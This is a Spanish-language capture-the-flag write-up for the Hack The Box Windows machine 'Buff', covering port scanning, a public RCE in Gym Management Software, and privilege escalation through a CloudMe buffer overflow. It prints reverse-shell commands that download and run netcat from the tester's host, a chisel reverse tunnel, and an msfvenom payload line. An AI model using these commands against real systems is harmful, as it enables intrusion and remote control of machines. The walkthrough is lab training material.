This page looks best with JavaScript enabled

Hack The Box - Buff

 •  ✍️ sckull

Buff es una maquina de HackTheBox con SO Windows, encontramos un RCE en Gym Managmente Software lo que nos dio acceso con el usuario Shaun. Observamos un puerto localmente perteneciente a CloudMe, ejecutamos un reverse tunneling para poder explotar la vulnerabilidad Buffer Overflow y obtener acceso privilegiado.

Informacion de la Maquina

Nombre Buff box_img_maker
OS

Windows

Puntos 20
Dificultad Facil
IP 10.10.10.198
Maker

egotisticalSW

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.5, 5.6, 7.5, 2.5, 4.4],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[6, 7, 9, 1, 3],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto 7680 y el puerto http (8080) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Nmap 7.80 scan initiated Sat Sep 12 02:35:25 2020 as: nmap -Pn -p- --min-rate 1000 -o allports buff.htb
Nmap scan report for buff.htb (buff.htb)
Host is up (0.21s latency).
Not shown: 65533 filtered ports
PORT     STATE SERVICE
7680/tcp open  pando-pub
8080/tcp open  http-proxy

# Nmap done at Sat Sep 12 02:38:42 2020 -- 1 IP address (1 host up) scanned in 197.50 seconds

# Nmap 7.80 scan initiated Sat Sep 12 02:39:30 2020 as: nmap -Pn -sV -sC -p 7689,8080 -o serviceports buff.htb
Nmap scan report for buff.htb (buff.htb)
Host is up (0.068s latency).

PORT     STATE    SERVICE  VERSION
7689/tcp filtered collaber
8080/tcp open     http     Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 12 02:39:58 2020 -- 1 IP address (1 host up) scanned in 27.62 seconds

HTTP

Encontramos una pagina web en el puerto 80.
image

DIRBUSTER

Utilizamos dirbuster para busqueda de directorios y archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions:  | HTTP method: GET | Suffixes: php, html, txt | Threads: 150 | Wordlist size: 4614 | Request count: 4614

Error Log: /home/kali/tools/dirsearch/logs/errors-20-09-12_02-45-06.log

Target: http://buff.htb:8080/

Output File: /home/kali/tools/dirsearch/reports/buff.htb/20-09-12_02-45-08

[02:45:08] Starting: 
[02:45:10] 200 -    5KB - /
[02:45:13] 403 -    1KB - /admin.pl
[02:45:14] 403 -    1KB - /admin.cgi
[02:45:17] 403 -    1KB - /AT-admin.cgi
[02:45:18] 403 -    1KB - /aux
[02:45:20] 403 -    1KB - /cachemgr.cgi
[02:45:21] 301 -  334B  - /boot  ->  http://buff.htb:8080/boot/
[02:45:23] 403 -    1KB - /com1
[02:45:23] 403 -    1KB - /com2
[02:45:23] 403 -    1KB - /cgi-bin/
[02:45:24] 403 -    1KB - /com3
[02:45:25] 403 -    1KB - /con
[02:45:33] 301 -  332B  - /ex  ->  http://buff.htb:8080/ex/
[02:45:34] 503 -    1KB - /examples
[02:45:41] 200 -    5KB - /index.php
[02:45:42] 301 -  337B  - /include  ->  http://buff.htb:8080/include/
[02:45:43] 301 -  333B  - /img  ->  http://buff.htb:8080/img/
[02:45:43] 200 -   18KB - /LICENSE
[02:45:43] 403 -    1KB - /licenses
[02:45:45] 200 -   18KB - /license
[02:45:45] 403 -    1KB - /lpt1
[02:45:45] 403 -    1KB - /lpt2
[02:45:55] 403 -    1KB - /phpmyadmin
[02:45:57] 301 -  337B  - /profile  ->  http://buff.htb:8080/profile/
[02:45:57] 403 -    1KB - /prn
[02:45:58] 403 -    1KB - /nul
[02:46:03] 403 -    1KB - /server-info
[02:46:03] 403 -    1KB - /server-status

Task Completed

SHAUN - USER

Al revisar la pagina vemos la version de la aplicacion web la cual es Gym Management Software 1.0.

image

Exploramos si existe una vulnerabilidad en esta aplicacion y encontramos que tiene una vulnerabilidad de RCE utilizando una imagen. Descargamos el exploit, ejecutamos y logramos obtener una shell y nuestra flag user.txt.

image

Ejecutamos una shell inversa con netcat, el cual descargamos en la maquina y ejecutamos esta hacia nuestra IP y puerto.

1
2
powershell -command "& { iwr 10.10.10.40/nc.exe -OutFile C:\Users\shaun\Desktop\nc.exe }"
C:\Users\shaun\Desktop\nc.exe -e cmd 10.10.10.40 443

Creamos un pequeño servidor http con python3 y pusimos a la escucha netcat, logrando obtener una shell con el usuario SHAUN.

PRIVILEGE ESCALATION

Realizamos una pequeña enumeracion en la maquina y encontramos un ejecutable en la carpeta de descargas del usuario shaun.

image

Al realizar una busqueda de este archivo encontramos un exploit que afecta a un servicio. Además de ello encontramos el puerto 8888 en el cual corre este servicio en la maquina, pero este esta de manera local.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
C:\xampp\htdocs\gym\upload>tasklist | find /i "CloudMe"
tasklist | find /i "CloudMe"
CloudMe.exe                   7388                            0     18,628 K
C:\xampp\htdocs\gym\upload>netstat -ano | find /i "LISTENING"
netstat -ano | find /i "LISTENING"
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       956
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       5736
  TCP    0.0.0.0:7680           0.0.0.0:0              LISTENING       4256
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       3648
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       528
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       1108
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1504
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       2156
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       672
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       688
  TCP    10.10.10.198:139       0.0.0.0:0              LISTENING       4
  TCP    127.0.0.1:3306         0.0.0.0:0              LISTENING       7844
  TCP    127.0.0.1:8888         0.0.0.0:0              LISTENING       8416
  TCP    [::]:135               [::]:0                 LISTENING       956
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:7680              [::]:0                 LISTENING       4256
  TCP    [::]:8080              [::]:0                 LISTENING       3648
  TCP    [::]:49664             [::]:0                 LISTENING       528
  TCP    [::]:49665             [::]:0                 LISTENING       1108
  TCP    [::]:49666             [::]:0                 LISTENING       1504
  TCP    [::]:49667             [::]:0                 LISTENING       2156
  TCP    [::]:49668             [::]:0                 LISTENING       672
  TCP    [::]:49669             [::]:0                 LISTENING       688

C:\xampp\htdocs\gym\upload>

Utlizamos chisel para realizar reverse tunneling al puerto 8888, descargamos este en la maquina y ejecutamos un tunel reverso de SSH a nuestra maquina, para obtener el puerto 8888 localmente y explotarlo con el exploit que encontramos.

1
chisel.exe client 10.10.14.44:8080 R:8888:127.0.0.1:8888

En nuestra maquina ejecutamos chisel server:

1
chisel server -p 8080 --reverse

Ahora que tenemos el puerto 8888 localmente podemos explotar este con el exploit pero primero debemos de crear nuestro payload con msfvenom para que ejecute una shell inversa.

1
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.44 LPORT=1338 -f c

Una vez generado nuestro payload reemplazamos el que esta en el exploit con el nuestro, ponemos a la escucha netcat localmente, ejecutamos el exploit y logramos obtener una shell con usuario Administrator y nuestra flag root.txt.

image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe